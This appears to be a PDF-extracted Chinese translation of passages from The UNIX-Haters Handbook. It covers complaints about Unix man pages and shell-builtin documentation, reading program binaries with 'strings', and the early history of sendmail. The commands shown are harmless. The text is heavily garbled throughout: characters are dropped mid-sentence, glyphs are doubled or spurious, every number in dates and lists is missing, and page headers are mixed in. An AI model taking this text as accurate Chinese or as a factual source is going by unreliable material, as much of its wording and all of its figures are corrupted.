michael: cd /usr/man<br />
michael: ls<br />
man man man man man man man man manl<br />
我 看 到 的 是 <br />
michael: cd /usr/man<br />
michael: ls<br />
local p_man u_man<br />
(%*&@#+!System V 的 特 征 ) 现 在 , 撇撇 开 System V 和 BSD 不 的 ls 命 输 出 格 式 , 我<br />
认 情 况 很 怪 。 但 我 继 续 前 , 想 找 到 什 么 东 西 看 起 来 像 cat 或或 者 man<br />
michael: cd local<br />
michael: ls<br />
kermit.c<br />
michael: cd ../p_man<br />
michael: ls<br />
man<br />
michael: cd ../u_man<br />
man<br />
man<br />
<br />
译 注 Indigo 是 SGI 于 推 出 的 作 站 计 算 机 品 线 , 配 备 MIPS 系 列 处 理 和 SGI 的 Unix 版 <br />
IRIX, 售 价 大 约 美 。
· · 你 说 文挱 档掳 吗 ?<br />
michael: cd ../p_man/man<br />
michael: ls<br />
Xm<br />
现 在 在 man 目 录 找 到 一 个 X 相 的 子 目 录 , 肯 有 题 。 然 呢 ? 穷 举 法 <br />
michael: cd /<br />
michael: find / -name lockf. -print<br />
michael:<br />
等 等 , 是 不 是 机 就就 没没 有 lockf. 的 手手 册 页 ? 先 看 看 别 人 的 情 况 我 给 外 一 个 用 户户<br />
发发 了 邮 件 。 回 复 他 不 知 道 手手 册 页 在 哪 , 但 是 他 敲 入 “man lockf” 看 到 了 内<br />
容 。 他 的 MANPATH 毫毫 无 帮 内 容 比 我 的 还 要 少少 。<br />
所 我 尝尝 试 穷 举 外 的 法 <br />
michael: strings `which man` | grep "/" | more<br />
/usr/catman:/usr/man<br />
michael:<br />
哈 哈 !/usr/catman! 这 个 目 录 不 在 我 的 MANPATH 中 ! 现 在 看 看 lockf 在 不 在 那 。<br />
michael: cd /usr/catman<br />
michael: ls<br />
a_man<br />
g_man<br />
local<br />
p_man<br />
u_man<br />
whatis<br />
System V 的 缺 省 格 式 糟 糕 透 顶 , 目 录 到 有 什 么 ?<br />
michael: ls -d */cat<br />
g_man/cat<br />
p_man/cat<br />
michael: cd g_man/cat<br />
michael: ls<br />
standard<br />
michael: cd standard<br />
michael: ls<br />
好 了 ! 显 示 输 出 滚 到 屏 幕 外 了 盒 盒 这 是 /bin/ls 的 System V 特 征 成 的 。 最 好 一 <br />
显 示 几 个 文 件 <br />
michael: ls lock*<br />
No match.<br />
michael: cd ../../../p_man/cat<br />
michael: ls<br />
我 撞撞 了 大 运 , 看 见 一 个 “standard” 的 目 录 出 现 在 xterm 的 顶 端 , 而 显 示 输 出 再 <br />
滚 到 屏 幕 外 …盚…盚
在 线 文挱 档掳<br />
· ·<br />
michael: ls lock*<br />
No match.<br />
michael: cd standard<br />
michael: ls lock*<br />
lockf.z<br />
噢 , 好 耶 。 原原 来 这 个 文 件 经 过 了 compress(1) 的 压 缩 。 什 么 要 压 缩 , 而 不 是 保 存 文<br />
?SGI 是 不 是 想 通 过 压 缩 手手 册 页 , 来 补补 多 无 所 事 事 的 RISC 二 制 文 件 占 用 的 空空<br />
间 ? 不 管 了 , 还 是 先 读 文 档 吧 。<br />
michael: zcat lockf<br />
lockf.Z: No such file or directory<br />
michael: zcat lockf.z<br />
lockf.z.Z: No such file or directory<br />
唉 , 我 确 zcat 是 多 么 死 板 了 。<br />
michael: cp lockf.z ~/lockf.Z; cd ; zcat lockf | more<br />
lockf.Z: not in compressed format<br />
然 没 有捯 压 缩 吗 ? 哇 呀 呀 呀 ! 至 少少 他 们 让 人 一 眼 看 出 来 吧 。 所 我 编 辑 了 .cshrc,<br />
已 经 很 长 的 MANPATH /usr/catman, 再 试 试 <br />
michael: source .cshrc<br />
michael: man lockf<br />
当 然 这 就就 足 够 了 , 我 于 读 到 了 lockf 的 手手 册 , 移移 植植 性 确 很 差 , 和 它 的 Unix 难 难 弟<br />
们 一 副 德 行 。<br />
“ 深 思 熟 虑 ” 没 有捯 写 进 文挱 档掳<br />
在 有 一 种 情 况 ,Unix 组 在 线 文 档 的 方 式 作 得 很 好 , 那 就就 是<br />
你 有 于 给 几 百 个 程程 序 和 命 编 写 文 档 , 而 且 中 大 多 数 你 都 能 得 。 当<br />
文 档 的 目 增 长 到 接接 近 个 甚 至 更 多 , 作 者 成 分 散 在 大 各 个 角 落<br />
的 几 百 人 , 他 们 欲 望 膨 的 大 脑 还 不 时 抽 搐搐 , 这 个 方 式 就就 开 始 崩 溃 了 。<br />
期 Thu, Dec :: EST<br />
来 自 罗 伯 核 奥 斯 丁 <br />
发发 给 UNIX 痛 者<br />
题 如 果 你 打 算 写 文 档 , 就就 不 要 把把 程程 序 命 “local”<br />
事 已 经 证 明 , 如 果 有 个 程程 序 “local”, 用 户户 是 没没 有 法 读 到 手手 册 页 的 。 不 信 你 试<br />
试 , 就就 算 明 明 白 白 地 指指 出 手手 册 的 节 编 ( 很 好 的 组 方 式 , 对 吧 ?), 你 得 到 信<br />
息 <br />
sra@mintaka> man local<br />
But what do you want from section local?
· · 你 说 文挱 档掳 吗 ?<br />
Shell 文挱 档掳<br />
对 Unix 文 档 作 者 来 ,shell 总 是 带 来 题 内 部 命 闹 的 。 这 些 内 部<br />
命 该 放 在 哪 ? 到 是 独 立立 的 手手 册 页 录 , 还 是 shell 的 页 <br />
? 者 是 传 方 式 , 这 在 逻 辑 是 一 致 的 , 因 确 没没 有 什 么 命 <br />
做 while、if 和 set, 它 们 看 起 来掆 像 命 , 但 这 是 一 种 觉 。 然 而 很 不 幸 ,<br />
这 种 度 给 新 用 户户 盒 盒 文 档 的 真 读 者 盒 盒 带 来 了 困 扰 。<br />
例 如 , 某 个 用 户户 能 了 Unix 有 个 历 史 录 (history) 能 ,<br />
省 去去 复 输 入 命 的 麻 烦 。 了 更 多 了 解解 “history” 命 , 一 好 学 的 菜 鸟<br />
能 输 入 <br />
% man history<br />
No manual entry for history.<br />
结 果 很 不 幸 , 因 “history” 是 shell 内 部 命 。 这 的 例 子 有 很 多 , 请<br />
试 着 列 出 一 张 完 整 的 清 单 ( 去去 吧 , 翻 看 sh 或或 者 csh 的 手手 册 页 不 算 作 弊 )。<br />
当 然 了 , 或或 各 个 内 部 命 都 shell 页 录 确 比 较 好 , 毕 在 不<br />
的 shell 间 , 有 些 命 的 字 相 但 能 迥 。 试 想 如 果 set 命 单 独<br />
编 写 手手 册 , 那 么 内 容 能 有 一 “ 你 到 想 看 哪 个 set 命 ?”<br />
期 Thu, Sep :: -<br />
来 自 Systems Anarchist<br />
发发 给 UNIX 痛 者<br />
题 一 致 性 真 是 拖 了 Unix 拥拥 趸 的 腿<br />
最 近 我 必 要 用 这 些 真 知 灼 见 帮 一 个 沮沮 丧 的 Unix 新 手手 <br />
在 Bourne shell(“ 标 准 ” 的 Unix shell),set 命 置 选 开 在 C Shell( 一<br />
个 “ 标 准 ” 的 Unix shell),set 置 shell 。 如 果 输 入 “man set”, 看 到 这 个 或或<br />
者 那 个 命 的 明 ( 决 于 体 Unix 系 厂厂 商 的 喜 好 ), 一 般 不 两 个 都 看 到 , 有 时 候<br />
一 个 都 看 不 到 , 但 决 不 有 线 索 告 用 户户 , 还 存 在 一 个 能 不 的 命 。<br />
在 一 个 shell 使 用 一 个 shell 的 “set” 语 法 无 声 无 息 地 失 , 没没 有 任 何 错 误 或或 者 警<br />
告 类 。 更 要 命 的 是 , 在 Bourne shell 输 入 “set” 列 出 所 有捯 shell 量 !<br />
克 雷 格<br />
至 于 文 档 录 的 shell 命 , 这 不 仅 是 新 手手 眼 中 的 百 慕 大 。 当 戴 维 核<br />
查 曼 , 人 智 能 域 的 大 牛 , 向 UNIX 痛 者 抱抱 怨 不 C Shell 使 用 的<br />
“ 作 业 ” 时 , 罗 伯 特 核 E 核 西 斯 托托 姆 给 他 发发 出 了 这 封封 邮 件 并 抄抄 我 们 <br />
期 Mon, May :: EST<br />
来 自 罗 伯 特 核 E 核 西 斯 托托 姆 <br />
发发 给 zvona@gang-of-four.stanford.edu<br />
抄抄 UNIX 痛 者
这 个 就 是捔 内 置 文挱 档掳 ?<br />
· ·<br />
不 输 入 “fg %emacs” 或或 者 脆 “%emacs”? 得 了 吧 , 戴 维 ,Unix 臭 虫 有 的 是 , 你 不<br />
用 想 一 个 出 来 抱抱 怨 !< 笑 ><br />
悲 的 是 戴 维 确 不 知 道 输 入 “%emacs” 来 新 开 始 挂 起 的 Emacs<br />
作 业 , 这 在 任 何 文 档 都 没没 有 载 。<br />
戴 维 核 查 曼 不 是 一 个 人 , 在 UNIX 痛 者 邮 件 列 表表 , 许 多 人 发发 出 邮<br />
件 不 知 道 C Shell 有 这 时 髦 的 作 业 控 制 能 ( 大 多 数 阅 读 书 初 稿稿 的 人<br />
不 知 道 !)。 他 们 当 中 克 斯 核 格 斯 的 情 绪 相 当 不 稳稳 <br />
期 Tue, May : CDT<br />
来 自 克 斯 核 格 斯 <br />
发发 给 罗 伯 特 核 E 核 西 斯 托托 姆 <br />
抄抄 UNIX 痛 者<br />
题 回 复 今 的 牢 骚 fg %<br />
有 文 档 录 这 个 能 吗 ? 还 是 我 得 买 个 源 码 证 然 开 始 学 阅 读 C 程程 序 ?<br />
输 入 “man fg” 我 看 到 CSH_BUILTINS 手手 册 页 , 而 在 这 我 没没 有 找 到 任 何 有 用 的 东 西 。<br />
查 找 “job” 我 仍 然 一 无 所 获 。 但 这 个 页 倒 是 告 我 ,“% job &” 把把 作 业 移移 出 <br />
再 放 回 盒 盒 我 知 道 了 , 想 必 将将 来 我 一 频 繁 使 用 这 个 能 , 比 通 过 字 指指 作 业<br />
还 要 频 繁 得 多 得 多 得 多 。<br />
这 个 就 是捔 内 置 文挱 档掳 ?<br />
一 些 大 型 Unix 内 置 了 自 身 的 在 线 文 档 。 多 程程 序 的 在 线 文 档 是 一<br />
行 人 解解 的 “ 用 法 ” 明 。 是 awk 的 “ 用 法 ”:<br />
% awk<br />
awk: Usage: awk [-f source | 'cmds'] [files]<br />
是 不 是 挺挺 有 信 息 ? 复 杂 一 些 的 程程 序 的 在 线 文 档 更 深 入 。 不 幸 的 是 ,<br />
有 时 候 文 档 描 述 的 似 并 不 是 在 运 行 的 程程 序 。<br />
期 Jan :: EST (Tuesday)<br />
来 自 尊尊 敬 的 尼 <br />
发发 给 UNIX 痛 者<br />
题 一 个 曝 光 的 谋<br />
经 过 几 个 小小 时 的 潜 心 研 究 , 我 得 出 了 一 个 要 的 结 <br />
Unix 是 狗 屎 。<br />
现 在 你 们 中 有 人 能 觉 得 很 惊 讶 , 但 这 是 事 。 这 研 究 已 经 被被 遍 布 全 球 的 研 究 人 员 所<br />
验 证 了 。<br />
<br />
译 注 Reverend Heiny。
· · 你 说 文挱 档掳 吗 ?<br />
不 这 , 这 不 仅 仅 是 摊摊 狗 屎 , 而 是 又 稀稀 又 粘 的 臭 狗 屎 , 是 大 写 的 臭 狗 屎 。 彻 头 彻 尾 的<br />
胡 佛 义 。 我 的 意 思 是 看 看 这 个 例 子 , 你 就就 知 道 了 <br />
toolsun% mail<br />
Mail version SMI .0 Sat Apr 0:: PDT Type ? for help<br />
"/usr/spool/mail/chris": messages new<br />
>N chris Thu Dec : / editor saved "trash"<br />
N chris Tue Jan 0: / editor saved "trash"<br />
N chris Tue Jan 0: / editor saved "/tmp/ma"<br />
& ?<br />
Unknown command: "?"<br />
&<br />
什 么 的 生 环 境 ( 特 别 是 当 岁 数 已 经 足 够 开 车 、 投 票 、 喝 . 酒 时 ), 拒拒 一 个<br />
它 让 使 用 的 命 ?<br />
什 么 用 户户 手手 册 是 如 脱 离 现 ?<br />
什 么 这 些 神 秘秘 的 命 和 能 如 不 符 ?<br />
我 们 不 知 道 尼 的 题 是 什 么 , 就就 像 前 还 有 几 个 题 一 , 这 个<br />
臭 虫 似 已 经 被被 修 了 。 能 是 被被 转 移移 到 了 一 个 用 程程 序 中 。<br />
期 Tuesday, September , :PM<br />
来 自 马 克 核 洛 特 <br />
发发 给 UNIX 痛 者<br />
题 无 需 多 <br />
fs# add_client<br />
usage: add_client [options] clients<br />
add_client -i | -p [options] clients<br />
-i interactive mode - invoke full-screen mode<br />
[ 还 有 一 些 选 , 这 省 略 了 , 看 得 清 楚楚 些 ]<br />
fs# add_client -i<br />
Interactive mode uses no command line arguments<br />
如 何 得 到 真 的 文挱 档掳<br />
, 经 常 用 strings 命 检 查 程程 序 二 制 码 才 能 看 到 Unix 最 好 的<br />
文 档 。 使 用 strings 你 能 得 到 所 有 程程 序 中 写 死 的 文 件 、 环 境 、 隐 藏 的<br />
选 、 怪 的 错 误 信 息 等 等 。 比 如 想 知 道 cpp 如 何 查 找 头 文 件 , 你 最 好 使 用<br />
strings 而 不 是 翻 看 手手 册 <br />
<br />
译 注 ~ 世 界 经 济 危 机 爆 发发 , 时 任 美 国 总 胡 佛 盲 目 观 脱 离 , 拒拒 政 府 经 济<br />
并 坚 持 放 任 自 的 经 济 政 策 , 成 危 机 深 化 , 他 采 的 对 措 施 被被 称 “ 胡 佛 义 ”。<br />
<br />
译 注 指指 美 国 销 售 的 度 酒 , 所 酒 精 比 .%( 或或 体 积 比 %), 在 某 些 州 这 类 酒 的 销 售 限<br />
制 较 少少 。
就 程 序 员 , 才 不 用 户<br />
· ·<br />
next% man cpp<br />
No manual entry for cpp.<br />
next% strings /lib/cpp | grep /<br />
/lib/cpp<br />
/lib/<br />
/usr/local/lib/<br />
/cpp<br />
next%<br />
嗯 …盚…盚 别 着 急 <br />
next% ls /lib<br />
cpp* gcrt0.o libssy_s.a<br />
cpp-precomp* i/ mk/<br />
crt0.o libsys_p.a posixcrt0.o<br />
next% strings /lib/cpp-precomp | grep /<br />
/*%s*/<br />
//%s<br />
/usr/local/include<br />
/NextDeveloper/Headers<br />
/NextDeveloper/Headers/ansi<br />
/NextDeveloper/Headers/bsd<br />
/LocalDeveloper/Headers<br />
/LocalDeveloper/Headers/ansi<br />
/LocalDeveloper/Headers/bsd<br />
/NextDeveloper/.0CompatibleHeaders<br />
%s/%s<br />
/lib/%s/specs<br />
next%<br />
笨 啊 。 外 NEXTSTEP 的 /lib/cpp 调 用 了 /lib/cpp-precomp, 这 一 点 你 <br />
不 能 在 手手 册 页 中 发发 现 <br />
next% man cpp-precomp<br />
No manual entry for cpp-precomp.<br />
就 程 序 员 , 才 不 用 户<br />
别 因 Unix 蹩 脚 的 文 档 而 怪 肯 和 尼 斯 。Unix 开 始 建 立立 文 档 框 架<br />
时 , 流 行 业 界 的 文 档 标 准 并 施 。 文 档 录 的 是 错 误 和 陷 , 而 不 是<br />
程程 序 的 能 , 这 是 因 文 档 的 读 者 往 往 就就 是 系 的 开 发发 者 。 对 于 多 开 发发 者<br />
来 , 手手 册 页 不 过 是 收 错 误 报 告 的 地 方 。 至 于 把把 Unix 文 档 写 给 初 级 或或<br />
者 非 专 家 用 户户 、 程程 序 员 和 系 管 理 员 看 , 是 最 近 才 有 的 想 法 。 悲 的 是 这
· · 你 说 文挱 档掳 吗 ?<br />
一 想 法 贯 彻 得 并 不 是 很 好 , 因 Unix 文 档 系 的 层 模 型 是 中 期<br />
建 立立 的 。<br />
Unix 世 界 承 认 这 种 状 况 , 但 并 不 打 算 道 歉 。《Unix 人 生 》 如 交 <br />
了 Unix 对 于 文 档 的 度 :<br />
最 好 的 文 档 是 Unix 源 码 。 毕 当 系 决 一 做 什 么 时 , 就就 是 将将 码 用 作 文 档 ! 手手<br />
册 是 码 的 解解 释 , 作 者 是 不 时 间 的 各 色 人 等 , 而 且 还 往 往 不 是 码 的 作 者 。 你 该 把把<br />
这 些 文 档 看 作 是 指指 南 , 但 有 时 候 这 些 文 档 更 像 是 某 种 期 望 …盚…盚<br />
尽 管 如 , 到 源 码 中 寻 找 文 档 载 的 选 和 行 , 这 是 再 常 不 过 的 做 法 。 有 时 候<br />
你 发发 现 一 些 文 档 中 的 选 并 没没 在 码 中 现 。<br />
这 是 用 户 程 序 的 情 况 , 内 文 档 甚 至 还 不 如 。 直 到 最 近 , 还 完 全<br />
没没 有 厂厂 商 提 供 编 写 备 驱 或或 者 内 级 函 数 的 资 料 。 有 人 开 玩 笑 “ 如 果<br />
需 要 阅 读 内 函 数 的 文 档 , 那 么 很 能 你 就就 不 配 使 用 这 些 函 数 。”<br />
真 相 恐 怕 要 邪 恶 得 多 。 所 没没 有 内 文 档 , 是 因 AT&T 把把 这 些 神 圣<br />
的 码 看 成 “ 商 业 机 密 ”。 如 果 你 想 写 一 讲 述 Unix 内 幕 的 书 , 那 么 就就 等 着<br />
被被 告 席 吧 。<br />
源 码 就 是捔 文挱 档掳<br />
人 算 不 如 算 ,AT&T 般 起 石 头 砸 了 自 己 的 脚 。 于 没没 有 文 档 , 学 内<br />
和 用 程程 序 节 的 唯 一 途 径 就就 是 阅 读 源 码 , 掀掀 起 了 发发 布 最 初 <br />
内 版 Unix 源 码 的 狂 潮 。 询 师 、 程程 序 员 和 系 管 理 员 纷 纷 拷拷 贝 Unix<br />
源 码 , 但 并 不 是 了 编 译 出 山山 寨寨 版 系 是 了 把把 源 码 当 作 文 档 。<br />
时 Unix 源 码 拷拷 贝 从 大 学 泄泄 露 到 周 边 的 高 科 技 , 简 直 罪 无 逭 , 但 是<br />
情 有 原原 Unix 厂厂 商 提 供 的 文 档 确 不 够 用 。<br />
这 倒 不 是 源 码 中 有 什 么 值 钱 的 秘秘 密 , 所 有 能 够 接接 触触 并 愿 意 阅 读<br />
Unix 源 码 的 人 很 快 被被 一 行 粗 鲁 的 注 释 惊 呆 了 <br />
/* 没没 人 指指 望 你 看 得 懂 这 个 */<br />
尽 管 这 行 注 释 最 开 始 出 现 在 Unix V 内 中 , 但 是 配 得 几 所 有<br />
AT&T 原原 版 码 , 因 这 些 码 简 直 就就 是 梦 盒 盒 斥 着 手手 化 和 技 淫<br />
寄 存 被被 冠 p、pp 和 ppp 这 类 字 , 而 且 在 一 个 函 数 的 不 <br />
部 分 扮 演 不 角 色 注 释 中 写 着 “ 这 是 个 递 归 函 数 ”, 仿 佛 递 归 是 什 么 高 深<br />
难 懂 的 概概 念 。 真 相 有 一 个 对 待 用 户户 和 程程 序 员 文 档 的 方 度 , 反 映 出<br />
AT&T 对 待 “ 编 写 ” 的 一 贯 草 率 , 编 写 计 算 机 程程 序 尤尤 甚 。
Unix 无捂 言 : 课 程 设 置 建 议<br />
· ·<br />
要 破 一 个 蹩 脚 的 手手 艺 人 很 简 单 涂 料 掩 的 裂 缝 、 叠 叠 的 补补<br />
丁 、 东 拼 西 凑 的 胶 带 和 香 糖 。 对 现 吧 , 全 部 推 倒 来 是 一 件 又 <br />
又 钱 的 事 情 。<br />
期 Thu, May :: -<br />
来 自 戴 维 核 查 曼 <br />
发发 给 UNIX 痛 者<br />
这 是 man 程程 序 手手 册 中 的 一 段 , 挺挺 有 意 思 <br />
DIAGNOSITICS<br />
如 果 使 用 -M 选 , 但 传 入 的 路 径 并 不 存 在 , 那 么 输 出 的 错 误 信 息 比 较 有<br />
误 导 性 。 比 如 目 录 /usr/foo 不 存 在 , 如 果 输 入 <br />
man -M /usr/foo ls<br />
那 么 显 示 的 错 误 信 息 是 “ 没没 有 ls 的 手手 册 ”, 而 确 的 错 误 信 息 该 告 <br />
用 户户 , 目 录 /usr/foo 不 存 在 。<br />
写 这 段 明 的 , 怕 是 足 够 修 改 这 个 臭 虫 了 。<br />
Unix 无捂 言 : 课 程 设 置 建 议<br />
期 Fri, Apr :: PT<br />
来 自 cj@eno.corp.sgi.com(C 核 J 核 西 尔尔 弗 奥 )<br />
组 SGI TechPubs<br />
新 闻 组 talk.bizarre <br />
题 Unix 无 言言<br />
[ 在 一 场 于 文 档 无 用 的 激 烈 辩 中 , 我 写 了 这 个 建 , 但 从 发发 表表 过 , 因 我 胆<br />
子 小小 …盚…盚 我 最 还 是 贴 出 来 , 请 各 拍 砖 。]<br />
Unix 无 言言 <br />
很 好 ! 我 被被 这 散 布 的 文 档 无 用 观 点 深 深 折折 服 了 。 事 , 我 一 确 信 文 档 就就 是 毒<br />
品 , 及 我 对 文 档 的 依 赖 不 是 常 状 。 在 专 业 人 士 的 帮 , 我 想 我 能 够 戒 掉 它 。<br />
而 且 我 的 心 告 , 不 能 再 卖 这 无 用 的 毒 品 生 了 。 我 决 回 数 学 研 究 院 接接 再 教<br />
育 , 然 从 这 寄 生 虫 一 的 业 中 彻 脱 身 。<br />
我 确 感 觉 SGI 该 在 一 版 给 用 户户 提 供 一 份 文 档 , 这 能 表表 明 我 对 文 档 成 瘾 深 , 但<br />
这 不 过 是 权 计 , 续 发发 布 时 我 们 彻 消 文 档 。<br />
是 我 的 建 :<br />
标採 题 : “Unix 无 言言 ”<br />
众 : Unix 新 手手<br />
<br />
译 注 C J Silverio。<br />
朱 迪 核 德 森森 转 发发 到 UNIX 痛 者 。<br />
<br />
译 注 德 语 Unix Ohne Worter, 英 语 Unix Without Words。
· · 你 说 文挱 档掳 吗 ?<br />
综 述 : 提 供 在 没没 有 文 档 的 件 使 用 Unix 的 一 般 策 略 。 展展 示 在 没没 有 文 档 的 件 摸摸 清<br />
任 何 操 作 系 的 通 用 原原 。<br />
内 容 :<br />
介 绍 “ 无 文 档 ” 哲 学 综 述<br />
什 么 手手 册 是 恶 魔<br />
什 么 手手 册 页 是 恶 魔<br />
什 么 你 还 是 该 读 这 份 文 档<br />
“ 这 将将 是 你 读 的 最 一 份 文 档 !”<br />
第 一 如 何 测 能 存 在 哪 些 命 <br />
第 二 如 何 测 命 <br />
Unix 的 怪 缩 略 命 法<br />
案 例 grep<br />
第 如 何 测 命 选 <br />
如 何 破 解解 怪 的 使 用 明<br />
案 例 tar<br />
如 何 知 道 什 么 时 候 序 是 要 的<br />
案 例 System V 命 “find”<br />
第 四 如 何 知 道 运 行 确 没没 有 消 息 就就 是 好 消 息<br />
从 运 行 错 误 中 恢 复<br />
第 五 头 传 你 的 朋 友<br />
第 获 得 并 维 持 一 个 自 己 的 Unix 高 手手<br />
喂 饱 你 的 高 手手<br />
让 你 的 高 手手 快 <br />
提 供 新 闻 组 全 部 更 新 的 要 性<br />
什 么 你 的 高 手手 需 要 最 快 的 计 算 机<br />
免 高 手手 的 长 生 不 老 药<br />
让 你 的 高 手手 健 康<br />
高 手手 什 么 时 候 睡 觉 ?<br />
第 七 疑 难 解解 答 你 的 高 手手 不 理 你 了<br />
别 愚 蠢蠢 的 题<br />
如 何 全 地 提 出 愚 蠢蠢 题<br />
第 如 何 承 压 力<br />
如 何 对 待 命 失 <br />
…盚…盚<br />
( 如 果 嫌 内 容 多 , 那 么 大 概概 有 第 、 七 是 真 必 要 的 。 是 的 , 这 才 是 键 我 们<br />
称 Unix 高 手 驯 养 手 册 。)
Unix 无捂 言 : 课 程 设 置 建 议<br />
· ·
第 章<br />
邮 件<br />
别 跟 讲 话 , 不 是捔 打 字 机捼 !<br />
摆 脱 了 sendmail, 就就 像 治治 好 了 花 柳 病 。<br />
盒 盒 罗 核 赫 拜 ( 新 闻 组 comp.newprod, 前 版 )<br />
期 Thu, Mar :: -<br />
来 自 艾 伦 核 鲍 宁 <br />
发发 给 UNIX 痛 者<br />
题 邮 件 延 不 是 打 字 机<br />
当 我 想 给 别 人 发发 个 邮 件 , 而 他 的 Unix 系 已 机 ( 并 不 少少 见 ) 时 , 投 递 程程 序 常 常 给 出 <br />
书 般 的 错 误 提 示 <br />
Mail Queue ( request)<br />
--QID-- --Size-- -----Q-Time----- ------Sender/Recipient-----<br />
AA Thu Mar : borning<br />
(Deferred: Not a typewriter)<br />
bnfb@csr.uvic.ca<br />
这 到 是 什 么 意 思 ?Unix 机 当 然 不 是 打 字 机 , 否 就就 不 每 宕 机 时 间 那 么 长 ( 宕 机<br />
的 损 失 小小 点 )。<br />
Sendmail: 伯 克 利 Unix 的 越 战 泥 潭<br />
在 Unix 前 , 电 子 邮 件 就就 是 能 用 各 个 网 站 的 管 理 员 一 致 意 采 用 某<br />
种 协 来 收 发发 邮 件 , 然 编 写 程程 序 现 这 个 协 。 在 每 个 网 站 , 管 理 员 用<br />
简 单 直 接接 的 系 管 理 邮 件 列 表表 和 邮 件 别 盒 盒 真 的 , 分 析 地 址 、 解解 析 别<br />
, 还 有 收 发发 邮 件 , 这 些 事 情 到 有 多 难 呢 ?<br />
回 答 是 , 很 难 , 如 果 你 不 运 行 Unix 操 作 系 的 。<br />
<br />
译 注 Ron Heiby。
· · 邮 件<br />
期 Wed, May :-<br />
来 自 克 斯 托托 弗 核 斯 泰 西 <br />
发发 给 UNIX 痛 者<br />
题 更 ! 更 快 ! 更 深 !Unix<br />
还 得 那 netmail 仍 在 作 的 时 吗 ? 有 了 Unix, 人 们 真 的 不 再 指指 望 程程 序 还 能 作 了 。<br />
我 的 意 思 是 , 大 多 数挮 时捉 候 程程 序 貌 似 在 作 , 这 就就 差 不 多 了 , 是 不 是 ? 邮 件 收 发发 有 点 不 <br />
怎 么 了 ? 邮 件 不 能 回 复 怎 么 了 ? 邮 件 掉 地 又 怎 么 了 ?<br />
有 一 , 我 试 着 跟 某 网 站 运 行 sendmail 的 邮 件 管 理 员 抱抱 怨 看 看 , 每 我 给 他 的 网 站<br />
的 人 发发 邮 件 , 收 到 的 回 复 邮 件 头 就就 像 被被 驴 嚼 过 , 害 得 我 没没 法 继 续 回 复 了 , 看 起 来 题<br />
在 他 那 边 盒 盒 不 知 道 他 是 否 认 ? 是 对 方 的 回 复 <br />
期 Mon, May : EDT<br />
来 自 silv@upton.com( 斯 蒂 芬 核 J 核 席 尔尔 瓦 ) <br />
发发 给 mit-eddie!STONY-BROOK.SCRC.Symbolics.COM!CStacy@EDDIE.MIT.EDU <br />
题 回 复 嚼 烂 的 邮 件 头<br />
完 全 确 , 这 是 我 们 的 投 递 程程 序 成 的 。 如 果 这 是 你 收 到 的 , 很 好 <br />
如 果 不 是 , 你 又 是 怎 么 知 道 的 ? 如 果 这 是 你 收 到 的 , 有 什 么 题 ? 是 看<br />
着 不 爽 ? 我 不 是 sendmail 高 手手 , 不 认 哪 个 高 手手 。 大 多 数 时 间 邮 件 常 ,<br />
对 我 的 时 间 来 , 这 就就 好 极 了 。 祝 你 好 运 。<br />
斯 蒂 芬 核 席 尔尔 瓦<br />
编 写 一 个 严 格 遵 循 协 的 邮 件 系 没没 那 么 困 难 , 我 真 是 纳 闷 了 , 整 整<br />
二 十十 来 ,Unix 世 界 就就 没没 人 能 把把 这 件 事 情 做 好 一 。<br />
一 段 悲 惨 的 历 史<br />
期 Tue, Oct :: -<br />
来 自 dm@hri.com<br />
发发 给 UNIX 痛 者<br />
题 sendmail 一 言言 蔽 <br />
我 曾 经 参参 与 一 个 有 Unix 的 谈 , 好 有 谈 人 的 开 场 白 我 还 得 <br />
我 很 吃 惊 ,sendmail 的 作 者 然 还 活 着 四 处 走 。<br />
得 有 种 观 点 认 , 罗 伯 特 核 莫 斯 盒 盒 “ 因 特 网 蠕蠕 虫 ” 的 作 者 盒 盒 所 身 陷 囹 圄 ,<br />
就就 是 因 他 的 恶 作 剧 浪 糟 蹋 了 多 系 管 理 员 的 时 间 。 然 而 sendmail 的 作 者 却 仍 然 随<br />
意 走 , 甚 至 前 额 都 没没 有 烙 个 U( 表表 示 “Unix 奴 ”)。<br />
Sendmail 是 Unix 的 标 准 投 递 程程 序 , 而 且 看 起 来 在 今 很 多 很 多 都 是<br />
这 。 尽 管 别 的 投 递 程程 序 ( 例 如 MMDF 和 smail) 已 经 存 在 , 却 要 么 不 如<br />
sendmail 流 行 , 要 么 不 如 sendmail 招 人 。<br />
假 (Stephen J. Silver)。<br />
了 让 文 字 更 清 , 我 们 在 书 的 大 多 数 地 方 都 编 辑 过 邮 件 头 。 但 这 我 们 决 把把 该 网 站 <br />
sendmail 的 杰 作 和 荣 耀 一 起 保 留 。 盒 盒 编 辑 注 。<br />
<br />
译 注 Robert T. Morris, 康 尔尔 大 学 学 生 , 编 写 的 蠕蠕 虫 程程 序 成 万 美 损 失 。
Sendmail: 伯 克 利 Unix 的 越 战 泥 潭<br />
· ·<br />
Sendmail 埃 克 核 沃沃 曼<br />
<br />
于 在 伯 克 利 大 学 编 写 , 然 作 “ 网<br />
邮 件 路 程程 序 (Internetwork Mail Router)” 随 . BSD Unix 一 起 发发 布 。 这<br />
个 程程 序 的 作 用 是 像 独 木 桥 一 接接 各 种 构 的 邮 件 网 。 在 最 初 的 现 中 ,<br />
sendmail 接接 了 UUCP、BerkNet 和 ARPANET( 因 特 网 的 前 身 )。 尽 管 还 有 <br />
题 , 但 相 比 前 任 delivermail,sendmail 还 是 要 好 一 些 。<br />
月 沃沃 曼 在 USENIX 发发 表表 文 , 指指 出 sendmail 有 个 目 标 <br />
. 必 和 现 有 的 投 递 程程 序 容 。<br />
. 必 , 决 不 丢 失 邮 件 。<br />
. 如 果 能 , 必 用 现 有 的 程程 序 行 的 邮 件 发发 。<br />
. 无 环 境 是 简 单 还 是 极 复 杂 ,sendmail 都 必 能 作 。<br />
. 不 能 把把 配 置 信 息 编 译 到 程程 序 内 部 , 而 必 在 启 时 读 。<br />
. 必 允 邮 件 组 各 自 维 护 邮 件 列 表表 , 个 人 维 护 邮 件 转 发发 规 , 而 不 用<br />
修 改 系 别 文 件 。<br />
. 每 个 用 户户 都 必 能 够 指指 程程 序 处 理 收 到 的 邮 件 ( 因 用 户户 运 行<br />
“vacation” 程程 序 )。<br />
. 必 尽 能 减 小小 网 流 , 法 是 批批 处 理 指指 向 一 机 的 所 有 地<br />
址 。<br />
( 在 的 文 中 , 沃沃 曼 漏 掉 了 一 个 目 标 , 那 就就 是 sendmail 还 必<br />
现 ARPANET 原原 始 的 “ 简 单 邮 件 传 输 协 (Simple Mail Transport Protocol<br />
,SMTP)”, 这 是 赞 伯 克 利 开 发发 Unix 的 将将 军 们 的 要 求 。)<br />
